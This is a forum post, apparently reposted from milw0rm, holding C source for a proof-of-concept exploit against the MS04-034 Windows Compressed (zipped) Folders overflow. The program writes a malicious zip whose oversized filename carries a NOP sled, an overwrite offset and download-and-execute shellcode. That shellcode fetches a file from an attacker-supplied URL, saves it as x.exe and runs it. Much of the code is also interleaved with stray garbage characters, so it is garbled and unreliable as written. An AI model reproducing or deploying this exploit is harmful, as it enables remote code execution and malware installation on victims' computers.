数学建模社区-数学中国

标题: (MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders [打印本页]

作者: 韩冰 时间: 2004-11-21 10:51
标题: (MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet * * * How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * */ #include <stdio.h> #include <windows.h> #pragma pack(1) #define DATOS "Tarako-Haxorcitos.com" typedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) // extra field (variable size) }TOPHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; WORD FileCommentLength; WORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) // file comment (variable size) }MIDDLEHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; /* * download shellcode - RaiSe - raise@netsearch-ezine.com */ char shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; int main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; DWORD c; UINT i; char *filename; char *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } url=argv[1]; printf("\n * URL: %s",url); if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); } c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); for( i=0x0;i<c;i++) filename=(BYTE)0x90;& }$ ?) M$ J! j5 v' u& O3 A , Z1 z$ U) L4 {) x8 cmemcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));& @8 ^+ w# H2 {$ J* F- n memcpy(filename+0x1818,offset,strlen(offset));: d* F% `: r0 A: b6 d" {; Q, H : b% H* F, `& g9 b- e, y9 W Q9 Vmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);' @+ |0 j3 A% [4 ]7 i \ memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));* Y! o8 X. H* j4 \* }; r memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); * v/ n' K2 |4 S9 v % o; ~9 w: N" R1 i# M7 cmemcpy(filename+(c-4),".txt",4);4 B( M- n6 S; L1 W! ^8 L: ` / [4 V1 P" d a2 A" TCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); 8 U' h( |( ^! i2 uCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); ! F/ \: T9 M9 l3 l' d( p2 ~$ h" TCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));7 J5 T$ F) |5 h# N9 l+ l memset(Cabecera1,0,sizeof(TOPHEADER)); " Y9 r k/ `+ t% J+ a; fmemset(Cabecera2,0,sizeof(MIDDLEHEADER)); 2 `. y0 e$ j+ k" y/ Y5 L1 Lmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); # m7 V6 s6 D: Y8 w 7 M9 o: u8 X7 _% e- d ///////////////////////////////////////////////////////////////////9 t9 r# F3 |# |' i0 Y // TOPHEADER ( J6 L) S% B, `8 _% d- r/////////////////////////////////////////////////////////////////// $ Y' A" g, o3 _6 }# r4 C8 ACabecera1->Signature=0x04034B50; // DWORD$ ~3 x# p. l" E* i Cabecera1->VersionNeeded=0x000A; // WORD4 U' [; s" h z; }) {5 ^ U/ z8 Q" \ Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas : Y9 u$ b$ ]6 \- H5 D3 A7 E/ `Cabecera1->CompressionMethod=0x0000; // WORD8 n9 U5 J5 V/ G, i Cabecera1->ModFileTime=0x1362; // WORD # I# ]6 q L) }# G- l0 n) [1 [Cabecera1->ModFileDate=0x3154; // WORD+ u$ d S, S4 B' C, m2 d) k4 R; ] Cabecera1->Crc32=0x85B36639; // DWORD 9 s/ A" D& H: \8 b* vCabecera1->CompressedSize=0x00000015; // DWORD / e c& ]) N4 _5 i5 |Cabecera1->UncompressedSize=0x00000015; // DWORD - ~: t9 e& ?; u8 ?Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); & i/ O9 `0 b. T. yCabecera1->ExtraFieldLength=0x0000; // WORD , C( C4 ?( @2 |/////////////////////////////////////////////////////////////////// 4 N6 \: R! E6 c, Y' ^9 b2 _ 6 L( k4 y9 f% B5 P///////////////////////////////////////////////////////////////////* n. ?7 M8 O7 K2 Y+ k I% s4 u // MIDDLEHEADER# N; F& P8 T+ Q/ B/ d /////////////////////////////////////////////////////////////////// 2 V: a9 d/ r6 w9 ICabecera2->Signature=0x02014B50; // DWORD# v; h! I! F; r; h Cabecera2->MadeVersion=0x0014; // WORD2 \. n/ e' C6 E( E" n8 s6 } Cabecera2->VersionNeeded=0x000A; // WORD ) o3 ?5 d& I, o; p7 R5 m! gCabecera2->GeneralPurposeFlag=0x0002; // WORD' `! \5 }: B( v# m8 t/ o c Cabecera2->CompressionMethod=0x0000; // WORD & J& W% H* Q- e% |. l- L3 ]3 A9 GCabecera2->ModFileTime=0x1362; // WORD % w" q- G6 y, QCabecera2->ModFileDate=0x3154; // WORD * f! x2 C" {+ K0 kCabecera2->Crc32=0x85B36639; // DWORD. @9 l* p! e6 ~9 G* q Cabecera2->CompressedSize=0x00000015; // DWORD 2 c9 \, t5 e9 g3 Z; C+ FCabecera2->UncompressedSize=0x00000015; // DWORD. A1 ?7 ^' r7 E Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); # n$ c0 D# ^! ?4 U* r: d, _& VCabecera2->ExtraFieldLength=0x0000; // WORD , `+ z% i) \' R4 o$ DCabecera2->FileCommentLength=0x0000; // WORD - S1 @3 A. f7 ?: C3 X3 U% yCabecera2->DiskNumberStart=0x0000; // WORD 3 Y' J' \# d, P1 n% c1 @+ M aCabecera2->InternalFileAttributes=0x0001; // WORD- r7 J% w/ p h# Y _ Cabecera2->ExternalFileAttributes=0x00000020; // DWORD # o# d, H! Q8 K2 b& FCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD ' _1 j9 s8 m( {- i7 v///////////////////////////////////////////////////////////////////! f M& N0 Y9 K; w _ * ]0 t9 u5 E C8 }/////////////////////////////////////////////////////////////////// . a9 p1 t J7 a7 i: s// BOTTOMHEADER 7 h k1 d- {/ D/ s///////////////////////////////////////////////////////////////////+ }' R0 G' H' H* D; f' R Cabecera3->Signature=0x06054B50; // DWORD 4 u+ M7 z: ~# A7 w3 V# L+ n3 H1 LCabecera3->NumOfThisDisk=0x0000; // WORD 6 |3 P4 a) F: }9 H0 i7 }Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD & g' u. K* S- [: c6 `Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD 0 g _; k' w6 W5 uCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD. i7 Z1 d% t8 Q& A( G8 d y Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD % S/ S. a- d: KCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 2 a" }2 E. v( ?4 u5 d6 z( P' N! G+ Y4 n: j Cabecera3->ZipCommentLength=0x0000; // WORD * \! [ `3 {" L3 _/////////////////////////////////////////////////////////////////// # h4 Y& I( d9 I1 M& o9 }( e; g5 S2 ^7 [9 Q fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);# `2 @+ q2 C0 I5 U ; I: k( y: B7 Q0 }- M9 b: L fwrite(filename, c, 1,ZipFile); 6 x* F$ j" C# ^3 M3 `* S fwrite(DATOS,strlen(DATOS),1,ZipFile);0 W z z; H! Z+ q ! v n# ~) \; S( B+ C& Ufwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);" |9 _/ Z; c& c+ G0 ~# Z fwrite(filename, c, 1,ZipFile); & E" }9 h9 [9 H" x# c fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);6 N( D! o4 N- ?9 \7 [ 8 j! X: J4 w) `fclose(ZipFile);- Z" O- U0 W4 Y# J printf("\n * prueba.zip created\n");% _0 q3 L$ n I; @6 H9 r+ \% N return 1; . O. s" t5 b" k" p; p- b}//downloaded from milw0rm.com & E3 n& N" O; r( Q/ v$ e- n- y

欢迎光临数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5